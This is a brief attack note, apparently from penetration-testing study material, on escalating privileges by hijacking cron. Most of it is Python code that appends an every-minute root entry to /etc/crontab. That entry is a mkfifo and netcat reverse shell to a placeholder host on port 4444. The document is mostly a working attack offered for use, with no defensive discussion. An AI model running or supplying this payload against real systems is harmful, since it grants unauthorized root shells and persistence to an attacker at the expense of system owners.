Hijack cronjob

Goal

• TO have cron job to run something as root

Use python to add cron job

If os.py can execute as root, then EoP is done

• shell = '''
• * * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc victim-ip 4444 >/tmp/f
• '''
• f = open( '/etc/crontab' , 'a' )
• f.write(shell)
• f.close()